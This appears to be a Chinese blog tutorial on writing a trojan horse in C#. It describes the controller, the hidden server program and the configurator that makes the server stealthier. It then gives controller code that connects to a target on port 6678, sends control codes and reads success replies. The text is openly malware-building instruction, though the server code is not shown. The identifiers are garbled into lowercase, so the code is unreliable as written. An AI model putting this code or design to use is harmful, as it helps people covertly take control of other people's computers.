木马的介绍
因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。 控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现c#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
| 使用了.net类中的 system.net.sockets.tcpclient类, tcpclient(string hostname,int port) hostname 是要控制的主机名称,当然你也可以用ip地址。 port是端口。 // system.eventargs包含事件数据类的基类 private void button7_click(object sender, system.eventargs e) { //记录操作,在richtextbox控件中增加操作信息 richtextbox1.appendtext("请求连接" +textbox1.text +"\r"); int port =6678; try { //初始化 tcpclient 类的新实例并连接到指定主机上的指定端口 client = new tcpclient(textbox1.text,port); } catch { messagebox.show("服务器不在线!确定是否输入主机名称."); richtextbox1.appendtext("服务器不在线!确定是否输入主机名称."); } }//private void buttion |
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
| //private.networkstream stream; 代码如下: private void button8_click(object sender, system.eventargs e) { //纪录操作 richtextbox1.appendtext("测试连接" +"\r"); try { stream = client.getstream(); if(stream.canwrite) { //发送控制码 string control = "jiance"; byte[] by =system.text.encoding.ascii.getbytes(control.tochararray()); stream.write(by,0,by.length); //下次使用 stream.flush(); //启动接收反回数据的线程 //receive是线程执行的函数,见后面的分析 threadreceive = new thread(new threadstart(receive)); threadreceive.start(); } } catch(exception ee) { richtextbox1.appendtext (ee.message+"\r"); messagebox.show(ee.message); } } |
3、控制生效的代码
| private void button9_click(object sender, system.eventargs e) { //这里是确定要发送的控制码,radiobutton是窗体控件 if(radiobutton1.checked){ control = form2.zhucex;} else if(radiobutton2.checked){ control =form3.zhuces;} else if(radiobutton3.checked){ control = warring;} else if(radiobutton4.checked){ control =suggest;} else if(radiobutton5.checked){ control =form4.mumawe;} else if(radiobutton6.checked){ control =drop;} if (control =="000000") { messagebox.show("你没有输入任何控制目标!不发控制信号"); richtextbox1.appendtext("你没有输入任何控制目标!不发控制信号"); } else if(control != "000000") { try { //记录操作 richtextbox1.appendtext (control + "正在试图控制,等待回应......" + "\r"); stream = client.getstream(); if(stream.canwrite ) { byte[] by = system.text.encoding.ascii.getbytes(control.tochararray ()); stream.write(by,0,by.length); stream.flush(); threadreceive =new thread(new threadstart(receive)); threadreceive.start(); }//endif }//try catch { richtextbox1.appendtext("服务器未连接1控制无效!" +"\r"); messagebox.show("服务器未连接1控制无效!" +"\r"); } }//else if } |
4、线程执行的函数
| private void receive() { //设置读取数据的空间 byte[] bb = new byte[3]; //读取3个字节,i为实际读取的字节数 int i = stream.read(bb,0,3); //转换成字符串,如果是中文控制码则用string ss = //system.text.encoding.unicode.getstring(bb); string ss = system.text.encoding.ascii.getstring(bb); //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 if(ss=="hjc") { messagebox.show("连接成功"); richtextbox1.appendtext("连接成功"); } if(ss== "hkz") { richtextbox1.appendtext(control +"控制成功"+"\r"); messagebox.show(control +"控制成功"+"\r"); } } |
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器